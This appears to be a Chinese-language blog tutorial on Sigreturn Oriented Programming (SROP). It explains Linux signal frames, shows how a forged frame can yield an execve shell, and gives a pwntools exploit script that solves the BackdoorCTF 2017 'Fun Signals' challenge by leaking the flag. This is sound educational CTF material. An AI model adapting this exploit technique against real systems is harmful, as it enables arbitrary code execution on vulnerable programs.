SROP(Sigreturn Oriented Programming)

SROP

srop 的全称是 Sigreturn Oriented Programming。所以我们首先需要了解一下 Linux 的信号机制

signal 机制

image.png
如图所示,当有中断或异常产生时,内核会向某个进程发送一个 signal,该进程被挂起并进入内核(1),然后内核为该进程保存相应的上下文,然后跳转到之前注册好的 signal handler 中处理相应的 signal(2),当 signal handler 返回后(3),内核为该进程恢复之前保存的上下文,最终恢复进程的执行(4)。如图所示,当有中断或异常产生时,内核会向某个进程发送一个 signal,该进程被挂起并进入内核(1),然后内核为该进程保存相应的上下文,然后跳转到之前注册好的 signal handler 中处理相应的 signal(2),当 signal handler 返回后(3),内核为该进程恢复之前保存的上下文,最终恢复进程的执行(4)。

  • 一个 signal frame 被添加到栈,这个 frame 中包含了当前寄存器的值和一些 signal 信息。
  • 一个新的返回地址被添加到栈顶,这个返回地址指向 sigreturn 系统调用。
  • signal handler 被调用,signal handler 的行为取决于收到什么 signal。
  • signal handler 执行完之后,如果程序没有终止,则返回地址用于执行 sigreturn 系统调用。
  • sigreturn 利用 signal frame 恢复所有寄存器以回到之前的状态。
  • 最后,程序执行继续。
    64 位的 signal frame 如下图所示,signal frame 由 ucontext_t 结构体实现。
// defined in /usr/include/sys/ucontext.h
/* Userlevel context.  */
typedef struct ucontext_t
  {
    unsigned long int uc_flags;
    struct ucontext_t *uc_link;
    stack_t uc_stack;           // the stack used by this context
    mcontext_t uc_mcontext;     // the saved context
    sigset_t uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
  } ucontext_t;

// defined in /usr/include/bits/types/stack_t.h
/* Structure describing a signal stack.  */
typedef struct
  {
    void *ss_sp;
    size_t ss_size;
    int ss_flags;
  } stack_t;

// difined in /usr/include/bits/sigcontext.h
struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

在栈中的分布如下

SROP 利用原理

在执行 sigreturn 系统调用的时候,不会对 signal 做检查,它不知道当前的这个 frame 是不是之前保存的那个 frame。由于 sigreturn 会从用户栈上恢复恢复所有寄存器的值,而用户栈是保存在用户进程的地址空间中的,是用户进程可读写的。如果攻击者可以控制了栈,也就控制了所有寄存器的值,而这一切只需要一个 gadget:syscall; ret;
通过设置 eax/rax 寄存器,可以利用 syscall 指令执行任意的系统调用,然后我们可以将 sigreturn 和其他的系统调用串起来,形成一个链,从而达到任意代码执行的目的。下面是一个伪造 frame 的例子:
image.png

rax=59execve 的系统调用号,参数 rdi 设置为字符串“/bin/sh”的地址,rip 指向系统调用 syscall,最后,将 rt_sigreturn 设置为 sigreturn 系统调用的地址。当 sigreturn 返回后,就会从这个伪造的 frame 中恢复寄存器,从而拿到 shell。
对于这个寄存器的选择,因为系统调用号必须存入 rax 中,其他的寄存器选择就需要按照 Linux 下的函数调用约定来进行。

pwnlib. rop. srop

在 pwntools 中已经集成了 SROP 的利用工具,即 pwnlib.rop.srop,直接使用类 SigreturnFrame,我们可以看到针对不同的架构 SigreturnFrame 构造了不同的 uncontext_t
image.png

BackdoorCTF 2017 Fun Signals

查看文件,可以看到这是一个 64 位的程序,并且没有开任何防护措施
image.png
拖入 IDA 中查看,可以看到程序中进行了两次 syscall,第一次 rax 的值是 0,调用 read 函数,第二次 rax 值是 15,执行停止程序。同时我们也可以看到 flag 的位置,那么我们需要利用 SROP 将该位置的 flag 输出。
image.png

如何利用

再看这两个 syscall:

  • 第一个 syscall 是 read 函数,此时的 edi 是 0,edx 是 0 x 400,rsi 是栈顶的值,根据 read 函数的参数和 Linux 函数调用约定可以知道,这意思是从标准输入读取0x400个字节到栈顶。
  • 第二个 syscall 是 sigreturn,它会将栈中的数据按照 ucontext_t 结构恢复寄存器。
    所以我们可以写入一个伪造的 sigreturn frame,让 sigreturn 恢复。
    为了能够输出 flag,那我们伪造的 sigreturn frame 得是一个 write 函数的系统调用,系统调用号是0x1
from pwn import *

elf = ELF('./funsignals_player_bin')
io = process('./funsignals_player_bin')
# io = remote('hack.bckdr.in', 9034)

context.clear()
context.arch = "amd64"

# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.symbols['flag']
frame.rdx = 50
frame.rip = elf.symbols['syscall']

io.send(bytes(frame))
io.interactive()

成功将 flag 输出。
image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值